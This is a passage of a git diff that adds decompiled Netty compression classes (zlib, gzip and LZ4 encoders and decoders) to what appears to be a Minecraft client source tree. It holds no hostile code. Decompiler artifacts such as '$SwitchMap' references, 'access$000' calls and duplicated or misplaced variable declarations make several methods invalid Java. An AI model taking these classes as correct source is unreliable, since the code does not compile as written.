+        footer = Unpooled.wrappedBuffer(out, 0, z.next_out_index);
+      } else {
+        footer = Unpooled.EMPTY_BUFFER;
+      }
+    } finally {
+      z.deflateEnd();
+      
+
+
+
+
+      z.next_in = null;
+      z.next_out = null;
+    }
+    return ctx.writeAndFlush(footer, promise);
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    this.ctx = ctx;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/JdkZlibDecoder.java b/src/minecraft/io/netty/handler/codec/compression/JdkZlibDecoder.java
new file mode 100644
index 0000000..390bfb4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/JdkZlibDecoder.java
@@ -0,0 +1,390 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import java.util.List;
+import java.util.zip.CRC32;
+import java.util.zip.DataFormatException;
+import java.util.zip.Inflater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JdkZlibDecoder
+  extends ZlibDecoder
+{
+  private static final int FHCRC = 2;
+  private static final int FEXTRA = 4;
+  private static final int FNAME = 8;
+  private static final int FCOMMENT = 16;
+  private static final int FRESERVED = 224;
+  private Inflater inflater;
+  private final byte[] dictionary;
+  private final CRC32 crc;
+  
+  private static enum GzipState
+  {
+    HEADER_START, 
+    HEADER_END, 
+    FLG_READ, 
+    XLEN_READ, 
+    SKIP_FNAME, 
+    SKIP_COMMENT, 
+    PROCESS_FHCRC, 
+    FOOTER_START;
+    
+    private GzipState() {} }
+  private GzipState gzipState = GzipState.HEADER_START;
+  private int flags = -1;
+  private int xlen = -1;
+  
+
+  private volatile boolean finished;
+  
+  private boolean decideZlibOrNone;
+  
+
+  public JdkZlibDecoder()
+  {
+    this(ZlibWrapper.ZLIB, null);
+  }
+  
+
+
+
+
+  public JdkZlibDecoder(byte[] dictionary)
+  {
+    this(ZlibWrapper.ZLIB, dictionary);
+  }
+  
+
+
+
+
+  public JdkZlibDecoder(ZlibWrapper wrapper)
+  {
+    this(wrapper, null);
+  }
+  
+  private JdkZlibDecoder(ZlibWrapper wrapper, byte[] dictionary) {
+    if (wrapper == null) {
+      throw new NullPointerException("wrapper");
+    }
+    switch (1.$SwitchMap$io$netty$handler$codec$compression$ZlibWrapper[wrapper.ordinal()]) {
+    case 1: 
+      inflater = new Inflater(true);
+      crc = new CRC32();
+      break;
+    case 2: 
+      inflater = new Inflater(true);
+      crc = null;
+      break;
+    case 3: 
+      inflater = new Inflater();
+      crc = null;
+      break;
+    
+    case 4: 
+      decideZlibOrNone = true;
+      crc = null;
+      break;
+    default: 
+      throw new IllegalArgumentException("Only GZIP or ZLIB is supported, but you used " + wrapper);
+    }
+    this.dictionary = dictionary;
+  }
+  
+  public boolean isClosed()
+  {
+    return finished;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    if (finished)
+    {
+      in.skipBytes(in.readableBytes());
+      return;
+    }
+    
+    if (!in.isReadable()) {
+      return;
+    }
+    
+    if (decideZlibOrNone)
+    {
+      if (in.readableBytes() < 2) {
+        return;
+      }
+      
+      boolean nowrap = !looksLikeZlib(in.getShort(0));
+      inflater = new Inflater(nowrap);
+      decideZlibOrNone = false;
+    }
+    
+    if (crc != null) {
+      switch (gzipState) {
+      case FOOTER_START: 
+        if (readGZIPFooter(in)) {
+          finished = true;
+        }
+        return;
+      }
+      if ((gzipState != GzipState.HEADER_END) && 
+        (!readGZIPHeader(in))) {
+        return;
+      }
+    }
+    
+
+
+    int readableBytes = in.readableBytes();
+    if (in.hasArray()) {
+      inflater.setInput(in.array(), in.arrayOffset() + in.readerIndex(), in.readableBytes());
+    } else {
+      byte[] array = new byte[in.readableBytes()];
+      in.getBytes(in.readerIndex(), array);
+      inflater.setInput(array);
+    }
+    
+    int maxOutputLength = inflater.getRemaining() << 1;
+    ByteBuf decompressed = ctx.alloc().heapBuffer(maxOutputLength);
+    try {
+      boolean readFooter = false;
+      byte[] outArray = decompressed.array();
+      while (!inflater.needsInput()) {
+        int writerIndex = decompressed.writerIndex();
+        int outIndex = decompressed.arrayOffset() + writerIndex;
+        int length = decompressed.writableBytes();
+        
+        if (length == 0)
+        {
+          out.add(decompressed);
+          decompressed = ctx.alloc().heapBuffer(maxOutputLength);
+          outArray = decompressed.array();
+        }
+        else
+        {
+          int outputLength = inflater.inflate(outArray, outIndex, length);
+          if (outputLength > 0) {
+            decompressed.writerIndex(writerIndex + outputLength);
+            if (crc != null) {
+              crc.update(outArray, outIndex, outputLength);
+            }
+          }
+          else if (inflater.needsDictionary()) {
+            if (dictionary == null) {
+              throw new DecompressionException("decompression failure, unable to set dictionary as non was specified");
+            }
+            
+            inflater.setDictionary(dictionary);
+          }
+          
+
+          if (inflater.finished()) {
+            if (crc == null) {
+              finished = true; break;
+            }
+            readFooter = true;
+            
+            break;
+          }
+        }
+      }
+      in.skipBytes(readableBytes - inflater.getRemaining());
+      
+      if (readFooter) {
+        gzipState = GzipState.FOOTER_START;
+        if (readGZIPFooter(in)) {
+          finished = true;
+        }
+      }
+    } catch (DataFormatException e) {
+      throw new DecompressionException("decompression failure", e);
+    }
+    finally {
+      if (decompressed.isReadable()) {
+        out.add(decompressed);
+      } else {
+        decompressed.release();
+      }
+    }
+  }
+  
+  protected void handlerRemoved0(ChannelHandlerContext ctx) throws Exception
+  {
+    super.handlerRemoved0(ctx);
+    if (inflater != null) {
+      inflater.end();
+    }
+  }
+  
+  private boolean readGZIPHeader(ByteBuf in) {
+    switch (1.$SwitchMap$io$netty$handler$codec$compression$JdkZlibDecoder$GzipState[gzipState.ordinal()]) {
+    case 2: 
+      if (in.readableBytes() < 10) {
+        return false;
+      }
+      
+      int magic0 = in.readByte();
+      int magic1 = in.readByte();
+      
+      if (magic0 != 31) {
+        throw new DecompressionException("Input is not in the GZIP format");
+      }
+      crc.update(magic0);
+      crc.update(magic1);
+      
+      int method = in.readUnsignedByte();
+      if (method != 8) {
+        throw new DecompressionException("Unsupported compression method " + method + " in the GZIP header");
+      }
+      
+      crc.update(method);
+      
+      flags = in.readUnsignedByte();
+      crc.update(flags);
+      
+      if ((flags & 0xE0) != 0) {
+        throw new DecompressionException("Reserved flags are set in the GZIP header");
+      }
+      
+
+
+      crc.update(in.readByte());
+      crc.update(in.readByte());
+      crc.update(in.readByte());
+      crc.update(in.readByte());
+      
+      crc.update(in.readUnsignedByte());
+      crc.update(in.readUnsignedByte());
+      
+      gzipState = GzipState.FLG_READ;
+    case 3: 
+      if ((flags & 0x4) != 0) {
+        if (in.readableBytes() < 2) {
+          return false;
+        }
+        int xlen1 = in.readUnsignedByte();
+        int xlen2 = in.readUnsignedByte();
+        crc.update(xlen1);
+        crc.update(xlen2);
+        
+        xlen |= xlen1 << 8 | xlen2;
+      }
+      gzipState = GzipState.XLEN_READ;
+    case 4: 
+      if (xlen != -1) {
+        if (in.readableBytes() < xlen) {
+          return false;
+        }
+        byte[] xtra = new byte[xlen];
+        in.readBytes(xtra);
+        crc.update(xtra);
+      }
+      gzipState = GzipState.SKIP_FNAME;
+    case 5: 
+      if ((flags & 0x8) != 0) {
+        if (!in.isReadable())
+          return false;
+        int b;
+        do {
+          b = in.readUnsignedByte();
+          crc.update(b);
+        } while ((b != 0) && 
+        
+
+          (in.isReadable()));
+      }
+      gzipState = GzipState.SKIP_COMMENT;
+    case 6: 
+      if ((flags & 0x10) != 0) {
+        if (!in.isReadable())
+          return false;
+        int b;
+        do {
+          b = in.readUnsignedByte();
+          crc.update(b);
+        } while ((b != 0) && 
+        
+
+          (in.isReadable()));
+      }
+      gzipState = GzipState.PROCESS_FHCRC;
+    case 7: 
+      if ((flags & 0x2) != 0) {
+        if (in.readableBytes() < 4) {
+          return false;
+        }
+        verifyCrc(in);
+      }
+      crc.reset();
+      gzipState = GzipState.HEADER_END;
+    case 8: 
+      return true;
+    }
+    throw new IllegalStateException();
+  }
+  
+  private boolean readGZIPFooter(ByteBuf buf)
+  {
+    if (buf.readableBytes() < 8) {
+      return false;
+    }
+    
+    verifyCrc(buf);
+    
+
+    int dataLength = 0;
+    for (int i = 0; i < 4; i++) {
+      dataLength |= buf.readUnsignedByte() << i * 8;
+    }
+    int readLength = inflater.getTotalOut();
+    if (dataLength != readLength) {
+      throw new DecompressionException("Number of bytes mismatch. Expected: " + dataLength + ", Got: " + readLength);
+    }
+    
+    return true;
+  }
+  
+  private void verifyCrc(ByteBuf in) {
+    long crcValue = 0L;
+    for (int i = 0; i < 4; i++) {
+      crcValue |= in.readUnsignedByte() << i * 8;
+    }
+    long readCrc = crc.getValue();
+    if (crcValue != readCrc) {
+      throw new DecompressionException("CRC value missmatch. Expected: " + crcValue + ", Got: " + readCrc);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private static boolean looksLikeZlib(short cmf_flg)
+  {
+    return ((cmf_flg & 0x7800) == 30720) && (cmf_flg % 31 == 0);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/JdkZlibEncoder.java b/src/minecraft/io/netty/handler/codec/compression/JdkZlibEncoder.java
new file mode 100644
index 0000000..938f35c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/JdkZlibEncoder.java
@@ -0,0 +1,321 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.ChannelPromiseNotifier;
+import io.netty.util.concurrent.EventExecutor;
+import java.util.concurrent.TimeUnit;
+import java.util.zip.CRC32;
+import java.util.zip.Deflater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JdkZlibEncoder
+  extends ZlibEncoder
+{
+  private final ZlibWrapper wrapper;
+  private final Deflater deflater;
+  private volatile boolean finished;
+  private volatile ChannelHandlerContext ctx;
+  private final CRC32 crc = new CRC32();
+  private static final byte[] gzipHeader = { 31, -117, 8, 0, 0, 0, 0, 0, 0, 0 };
+  private boolean writeHeader = true;
+  
+
+
+
+
+
+  public JdkZlibEncoder()
+  {
+    this(6);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JdkZlibEncoder(int compressionLevel)
+  {
+    this(ZlibWrapper.ZLIB, compressionLevel);
+  }
+  
+
+
+
+
+
+  public JdkZlibEncoder(ZlibWrapper wrapper)
+  {
+    this(wrapper, 6);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JdkZlibEncoder(ZlibWrapper wrapper, int compressionLevel)
+  {
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+    if (wrapper == null) {
+      throw new NullPointerException("wrapper");
+    }
+    if (wrapper == ZlibWrapper.ZLIB_OR_NONE) {
+      throw new IllegalArgumentException("wrapper '" + ZlibWrapper.ZLIB_OR_NONE + "' is not " + "allowed for compression.");
+    }
+    
+
+
+    this.wrapper = wrapper;
+    deflater = new Deflater(compressionLevel, wrapper != ZlibWrapper.ZLIB);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public JdkZlibEncoder(byte[] dictionary)
+  {
+    this(6, dictionary);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JdkZlibEncoder(int compressionLevel, byte[] dictionary)
+  {
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+    if (dictionary == null) {
+      throw new NullPointerException("dictionary");
+    }
+    
+    wrapper = ZlibWrapper.ZLIB;
+    deflater = new Deflater(compressionLevel);
+    deflater.setDictionary(dictionary);
+  }
+  
+  public ChannelFuture close()
+  {
+    return close(ctx().newPromise());
+  }
+  
+  public ChannelFuture close(final ChannelPromise promise)
+  {
+    ChannelHandlerContext ctx = ctx();
+    EventExecutor executor = ctx.executor();
+    if (executor.inEventLoop()) {
+      return finishEncode(ctx, promise);
+    }
+    final ChannelPromise p = ctx.newPromise();
+    executor.execute(new Runnable()
+    {
+      public void run() {
+        ChannelFuture f = JdkZlibEncoder.this.finishEncode(JdkZlibEncoder.access$000(JdkZlibEncoder.this), p);
+        f.addListener(new ChannelPromiseNotifier(new ChannelPromise[] { promise }));
+      }
+    });
+    return p;
+  }
+  
+  private ChannelHandlerContext ctx()
+  {
+    ChannelHandlerContext ctx = this.ctx;
+    if (ctx == null) {
+      throw new IllegalStateException("not added to a pipeline");
+    }
+    return ctx;
+  }
+  
+  public boolean isClosed()
+  {
+    return finished;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf uncompressed, ByteBuf out) throws Exception
+  {
+    if (finished) {
+      out.writeBytes(uncompressed);
+      return;
+    }
+    
+    int len = uncompressed.readableBytes();
+    byte[] inAry;
+    int offset;
+    if (uncompressed.hasArray())
+    {
+      byte[] inAry = uncompressed.array();
+      int offset = uncompressed.arrayOffset() + uncompressed.readerIndex();
+      
+      uncompressed.skipBytes(len);
+    } else {
+      inAry = new byte[len];
+      uncompressed.readBytes(inAry);
+      offset = 0;
+    }
+    
+    if (writeHeader) {
+      writeHeader = false;
+      if (wrapper == ZlibWrapper.GZIP) {
+        out.writeBytes(gzipHeader);
+      }
+    }
+    
+    if (wrapper == ZlibWrapper.GZIP) {
+      crc.update(inAry, offset, len);
+    }
+    
+    deflater.setInput(inAry, offset, len);
+    while (!deflater.needsInput()) {
+      deflate(out);
+    }
+  }
+  
+  protected final ByteBuf allocateBuffer(ChannelHandlerContext ctx, ByteBuf msg, boolean preferDirect)
+    throws Exception
+  {
+    int sizeEstimate = (int)Math.ceil(msg.readableBytes() * 1.001D) + 12;
+    if (writeHeader) {
+      switch (4.$SwitchMap$io$netty$handler$codec$compression$ZlibWrapper[wrapper.ordinal()]) {
+      case 1: 
+        sizeEstimate += gzipHeader.length;
+        break;
+      case 2: 
+        sizeEstimate += 2;
+      }
+      
+    }
+    return ctx.alloc().heapBuffer(sizeEstimate);
+  }
+  
+  public void close(final ChannelHandlerContext ctx, final ChannelPromise promise) throws Exception
+  {
+    ChannelFuture f = finishEncode(ctx, ctx.newPromise());
+    f.addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture f) throws Exception {
+        ctx.close(promise);
+      }
+    });
+    
+    if (!f.isDone())
+    {
+      ctx.executor().schedule(new Runnable()
+      {
+
+        public void run() { ctx.close(promise); } }, 10L, TimeUnit.SECONDS);
+    }
+  }
+  
+
+  private ChannelFuture finishEncode(ChannelHandlerContext ctx, ChannelPromise promise)
+  {
+    if (finished) {
+      promise.setSuccess();
+      return promise;
+    }
+    
+    finished = true;
+    ByteBuf footer = ctx.alloc().heapBuffer();
+    if ((writeHeader) && (wrapper == ZlibWrapper.GZIP))
+    {
+      writeHeader = false;
+      footer.writeBytes(gzipHeader);
+    }
+    
+    deflater.finish();
+    
+    while (!deflater.finished()) {
+      deflate(footer);
+      if (!footer.isWritable())
+      {
+        ctx.write(footer);
+        footer = ctx.alloc().heapBuffer();
+      }
+    }
+    if (wrapper == ZlibWrapper.GZIP) {
+      int crcValue = (int)crc.getValue();
+      int uncBytes = deflater.getTotalIn();
+      footer.writeByte(crcValue);
+      footer.writeByte(crcValue >>> 8);
+      footer.writeByte(crcValue >>> 16);
+      footer.writeByte(crcValue >>> 24);
+      footer.writeByte(uncBytes);
+      footer.writeByte(uncBytes >>> 8);
+      footer.writeByte(uncBytes >>> 16);
+      footer.writeByte(uncBytes >>> 24);
+    }
+    deflater.end();
+    return ctx.writeAndFlush(footer, promise);
+  }
+  
+  private void deflate(ByteBuf out) {
+    int numBytes;
+    do {
+      int writerIndex = out.writerIndex();
+      numBytes = deflater.deflate(out.array(), out.arrayOffset() + writerIndex, out.writableBytes(), 2);
+      
+      out.writerIndex(writerIndex + numBytes);
+    } while (numBytes > 0);
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    this.ctx = ctx;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Lz4Constants.java b/src/minecraft/io/netty/handler/codec/compression/Lz4Constants.java
new file mode 100644
index 0000000..f9188ef
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Lz4Constants.java
@@ -0,0 +1,20 @@
+package io.netty.handler.codec.compression;
+
+final class Lz4Constants
+{
+  static final long MAGIC_NUMBER = 5501767354678207339L;
+  static final int HEADER_LENGTH = 21;
+  static final int TOKEN_OFFSET = 8;
+  static final int COMPRESSED_LENGTH_OFFSET = 9;
+  static final int DECOMPRESSED_LENGTH_OFFSET = 13;
+  static final int CHECKSUM_OFFSET = 17;
+  static final int COMPRESSION_LEVEL_BASE = 10;
+  static final int MIN_BLOCK_SIZE = 64;
+  static final int MAX_BLOCK_SIZE = 33554432;
+  static final int DEFAULT_BLOCK_SIZE = 65536;
+  static final int BLOCK_TYPE_NON_COMPRESSED = 16;
+  static final int BLOCK_TYPE_COMPRESSED = 32;
+  static final int DEFAULT_SEED = -1756908916;
+  
+  private Lz4Constants() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Lz4FrameDecoder.java b/src/minecraft/io/netty/handler/codec/compression/Lz4FrameDecoder.java
new file mode 100644
index 0000000..313f4f1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Lz4FrameDecoder.java
@@ -0,0 +1,275 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import java.util.List;
+import java.util.zip.Checksum;
+import net.jpountz.lz4.LZ4Exception;
+import net.jpountz.lz4.LZ4Factory;
+import net.jpountz.lz4.LZ4FastDecompressor;
+import net.jpountz.xxhash.StreamingXXHash32;
+import net.jpountz.xxhash.XXHashFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Lz4FrameDecoder
+  extends ByteToMessageDecoder
+{
+  private static enum State
+  {
+    INIT_BLOCK, 
+    DECOMPRESS_DATA, 
+    FINISHED, 
+    CORRUPTED;
+    
+    private State() {} }
+  private State currentState = State.INIT_BLOCK;
+  
+
+
+
+
+  private LZ4FastDecompressor decompressor;
+  
+
+
+
+
+  private ByteBufChecksum checksum;
+  
+
+
+
+
+  private int blockType;
+  
+
+
+
+
+  private int compressedLength;
+  
+
+
+
+  private int decompressedLength;
+  
+
+
+
+  private int currentChecksum;
+  
+
+
+
+
+  public Lz4FrameDecoder()
+  {
+    this(false);
+  }
+  
+
+
+
+
+
+
+  public Lz4FrameDecoder(boolean validateChecksums)
+  {
+    this(LZ4Factory.fastestInstance(), validateChecksums);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Lz4FrameDecoder(LZ4Factory factory, boolean validateChecksums)
+  {
+    this(factory, validateChecksums ? XXHashFactory.fastestInstance().newStreamingHash32(-1756908916).asChecksum() : null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Lz4FrameDecoder(LZ4Factory factory, Checksum checksum)
+  {
+    if (factory == null) {
+      throw new NullPointerException("factory");
+    }
+    decompressor = factory.fastDecompressor();
+    this.checksum = (checksum == null ? null : ByteBufChecksum.wrapChecksum(checksum));
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try {
+      switch (1.$SwitchMap$io$netty$handler$codec$compression$Lz4FrameDecoder$State[currentState.ordinal()]) {
+      case 1: 
+        if (in.readableBytes() >= 21)
+        {
+
+          long magic = in.readLong();
+          if (magic != 5501767354678207339L) {
+            throw new DecompressionException("unexpected block identifier");
+          }
+          
+          int token = in.readByte();
+          int compressionLevel = (token & 0xF) + 10;
+          int blockType = token & 0xF0;
+          
+          int compressedLength = Integer.reverseBytes(in.readInt());
+          if ((compressedLength < 0) || (compressedLength > 33554432)) {
+            throw new DecompressionException(String.format("invalid compressedLength: %d (expected: 0-%d)", new Object[] { Integer.valueOf(compressedLength), Integer.valueOf(33554432) }));
+          }
+          
+
+
+          int decompressedLength = Integer.reverseBytes(in.readInt());
+          int maxDecompressedLength = 1 << compressionLevel;
+          if ((decompressedLength < 0) || (decompressedLength > maxDecompressedLength)) {
+            throw new DecompressionException(String.format("invalid decompressedLength: %d (expected: 0-%d)", new Object[] { Integer.valueOf(decompressedLength), Integer.valueOf(maxDecompressedLength) }));
+          }
+          
+
+          if (((decompressedLength == 0) && (compressedLength != 0)) || ((decompressedLength != 0) && (compressedLength == 0)) || ((blockType == 16) && (decompressedLength != compressedLength)))
+          {
+
+            throw new DecompressionException(String.format("stream corrupted: compressedLength(%d) and decompressedLength(%d) mismatch", new Object[] { Integer.valueOf(compressedLength), Integer.valueOf(decompressedLength) }));
+          }
+          
+
+
+          int currentChecksum = Integer.reverseBytes(in.readInt());
+          if ((decompressedLength == 0) && (compressedLength == 0)) {
+            if (currentChecksum != 0) {
+              throw new DecompressionException("stream corrupted: checksum error");
+            }
+            currentState = State.FINISHED;
+            decompressor = null;
+            this.checksum = null;
+          }
+          else
+          {
+            this.blockType = blockType;
+            this.compressedLength = compressedLength;
+            this.decompressedLength = decompressedLength;
+            this.currentChecksum = currentChecksum;
+            
+            currentState = State.DECOMPRESS_DATA;
+          } }
+        break; case 2:  int blockType = this.blockType;
+        int compressedLength = this.compressedLength;
+        int decompressedLength = this.decompressedLength;
+        int currentChecksum = this.currentChecksum;
+        
+        if (in.readableBytes() >= compressedLength)
+        {
+
+
+          ByteBufChecksum checksum = this.checksum;
+          ByteBuf uncompressed = null;
+          try
+          {
+            switch (blockType)
+            {
+
+            case 16: 
+              uncompressed = in.retainedSlice(in.readerIndex(), decompressedLength);
+              break;
+            case 32: 
+              uncompressed = ctx.alloc().buffer(decompressedLength, decompressedLength);
+              
+              decompressor.decompress(CompressionUtil.safeNioBuffer(in), uncompressed.internalNioBuffer(uncompressed.writerIndex(), decompressedLength));
+              
+
+              uncompressed.writerIndex(uncompressed.writerIndex() + decompressedLength);
+              break;
+            default: 
+              throw new DecompressionException(String.format("unexpected blockType: %d (expected: %d or %d)", new Object[] { Integer.valueOf(blockType), Integer.valueOf(16), Integer.valueOf(32) }));
+            }
+            
+            
+
+            in.skipBytes(compressedLength);
+            
+            if (checksum != null) {
+              CompressionUtil.checkChecksum(checksum, uncompressed, currentChecksum);
+            }
+            out.add(uncompressed);
+            uncompressed = null;
+            currentState = State.INIT_BLOCK;
+          } catch (LZ4Exception e) {
+            throw new DecompressionException(e);
+          } finally {
+            if (uncompressed != null)
+              uncompressed.release();
+          }
+        }
+        break;
+      case 3: 
+      case 4: 
+        in.skipBytes(in.readableBytes());
+        break;
+      default: 
+        throw new IllegalStateException();
+      }
+    } catch (Exception e) {
+      currentState = State.CORRUPTED;
+      throw e;
+    }
+  }
+  
+
+
+
+  public boolean isClosed()
+  {
+    return currentState == State.FINISHED;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Lz4FrameEncoder.java b/src/minecraft/io/netty/handler/codec/compression/Lz4FrameEncoder.java
new file mode 100644
index 0000000..b462aa7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Lz4FrameEncoder.java
@@ -0,0 +1,344 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.ChannelPromiseNotifier;
+import io.netty.handler.codec.MessageToByteEncoder;
+import io.netty.util.concurrent.EventExecutor;
+import java.nio.ByteBuffer;
+import java.util.concurrent.TimeUnit;
+import java.util.zip.Checksum;
+import net.jpountz.lz4.LZ4Compressor;
+import net.jpountz.lz4.LZ4Exception;
+import net.jpountz.lz4.LZ4Factory;
+import net.jpountz.xxhash.StreamingXXHash32;
+import net.jpountz.xxhash.XXHashFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Lz4FrameEncoder
+  extends MessageToByteEncoder<ByteBuf>
+{
+  private final int blockSize;
+  private LZ4Compressor compressor;
+  private Checksum checksum;
+  private final int compressionLevel;
+  private ByteBuf buffer;
+  private int currentBlockLength;
+  private final int compressedBlockSize;
+  private volatile boolean finished;
+  private volatile ChannelHandlerContext ctx;
+  
+  public Lz4FrameEncoder()
+  {
+    this(false);
+  }
+  
+
+
+
+
+
+
+
+  public Lz4FrameEncoder(boolean highCompressor)
+  {
+    this(LZ4Factory.fastestInstance(), highCompressor, 65536, XXHashFactory.fastestInstance().newStreamingHash32(-1756908916).asChecksum());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public Lz4FrameEncoder(LZ4Factory factory, boolean highCompressor, int blockSize, Checksum checksum)
+  {
+    if (factory == null) {
+      throw new NullPointerException("factory");
+    }
+    if (checksum == null) {
+      throw new NullPointerException("checksum");
+    }
+    
+    compressor = (highCompressor ? factory.highCompressor() : factory.fastCompressor());
+    this.checksum = checksum;
+    
+    compressionLevel = compressionLevel(blockSize);
+    this.blockSize = blockSize;
+    currentBlockLength = 0;
+    compressedBlockSize = (21 + compressor.maxCompressedLength(blockSize));
+    
+    finished = false;
+  }
+  
+
+
+  private static int compressionLevel(int blockSize)
+  {
+    if ((blockSize < 64) || (blockSize > 33554432)) {
+      throw new IllegalArgumentException(String.format("blockSize: %d (expected: %d-%d)", new Object[] { Integer.valueOf(blockSize), Integer.valueOf(64), Integer.valueOf(33554432) }));
+    }
+    
+    int compressionLevel = 32 - Integer.numberOfLeadingZeros(blockSize - 1);
+    compressionLevel = Math.max(0, compressionLevel - 10);
+    return compressionLevel;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf in, ByteBuf out) throws Exception
+  {
+    if (finished) {
+      out.writeBytes(in);
+      return;
+    }
+    
+    int length = in.readableBytes();
+    
+    ByteBuf buffer = this.buffer;
+    int blockSize = buffer.capacity();
+    while (currentBlockLength + length >= blockSize) {
+      int tail = blockSize - currentBlockLength;
+      in.getBytes(in.readerIndex(), buffer, currentBlockLength, tail);
+      currentBlockLength = blockSize;
+      flushBufferedData(out);
+      in.skipBytes(tail);
+      length -= tail;
+    }
+    in.readBytes(buffer, currentBlockLength, length);
+    currentBlockLength += length;
+  }
+  
+  private void flushBufferedData(ByteBuf out) {
+    int currentBlockLength = this.currentBlockLength;
+    if (currentBlockLength == 0) {
+      return;
+    }
+    checksum.reset();
+    checksum.update(buffer.array(), buffer.arrayOffset(), currentBlockLength);
+    int check = (int)checksum.getValue();
+    
+    out.ensureWritable(compressedBlockSize);
+    int idx = out.writerIndex();
+    try
+    {
+      ByteBuffer outNioBuffer = out.internalNioBuffer(idx + 21, out.writableBytes() - 21);
+      int pos = outNioBuffer.position();
+      
+      compressor.compress(buffer.internalNioBuffer(0, currentBlockLength), outNioBuffer);
+      compressedLength = outNioBuffer.position() - pos;
+    } catch (LZ4Exception e) { int compressedLength;
+      throw new CompressionException(e); }
+    int compressedLength;
+    int blockType;
+    if (compressedLength >= currentBlockLength) {
+      int blockType = 16;
+      compressedLength = currentBlockLength;
+      out.setBytes(idx + 21, buffer, 0, currentBlockLength);
+    } else {
+      blockType = 32;
+    }
+    
+    out.setLong(idx, 5501767354678207339L);
+    out.setByte(idx + 8, (byte)(blockType | compressionLevel));
+    out.setIntLE(idx + 9, compressedLength);
+    out.setIntLE(idx + 13, currentBlockLength);
+    out.setIntLE(idx + 17, check);
+    out.writerIndex(idx + 21 + compressedLength);
+    currentBlockLength = 0;
+    
+    this.currentBlockLength = currentBlockLength;
+  }
+  
+  private ChannelFuture finishEncode(ChannelHandlerContext ctx, ChannelPromise promise) {
+    if (finished) {
+      promise.setSuccess();
+      return promise;
+    }
+    finished = true;
+    try
+    {
+      ByteBuf footer = ctx.alloc().heapBuffer(compressor.maxCompressedLength(currentBlockLength) + 21);
+      
+      flushBufferedData(footer);
+      
+      int idx = footer.writerIndex();
+      footer.setLong(idx, 5501767354678207339L);
+      footer.setByte(idx + 8, (byte)(0x10 | compressionLevel));
+      footer.setInt(idx + 9, 0);
+      footer.setInt(idx + 13, 0);
+      footer.setInt(idx + 17, 0);
+      
+      footer.writerIndex(idx + 21);
+      
+      return ctx.writeAndFlush(footer, promise);
+    } finally {
+      cleanup();
+    }
+  }
+  
+  private void cleanup() {
+    compressor = null;
+    checksum = null;
+    if (buffer != null) {
+      buffer.release();
+      buffer = null;
+    }
+  }
+  
+
+
+  public boolean isClosed()
+  {
+    return finished;
+  }
+  
+
+
+
+
+  public ChannelFuture close()
+  {
+    return close(ctx().newPromise());
+  }
+  
+
+
+
+
+  public ChannelFuture close(final ChannelPromise promise)
+  {
+    ChannelHandlerContext ctx = ctx();
+    EventExecutor executor = ctx.executor();
+    if (executor.inEventLoop()) {
+      return finishEncode(ctx, promise);
+    }
+    executor.execute(new Runnable()
+    {
+      public void run() {
+        ChannelFuture f = Lz4FrameEncoder.this.finishEncode(Lz4FrameEncoder.access$000(Lz4FrameEncoder.this), promise);
+        f.addListener(new ChannelPromiseNotifier(new ChannelPromise[] { promise }));
+      }
+    });
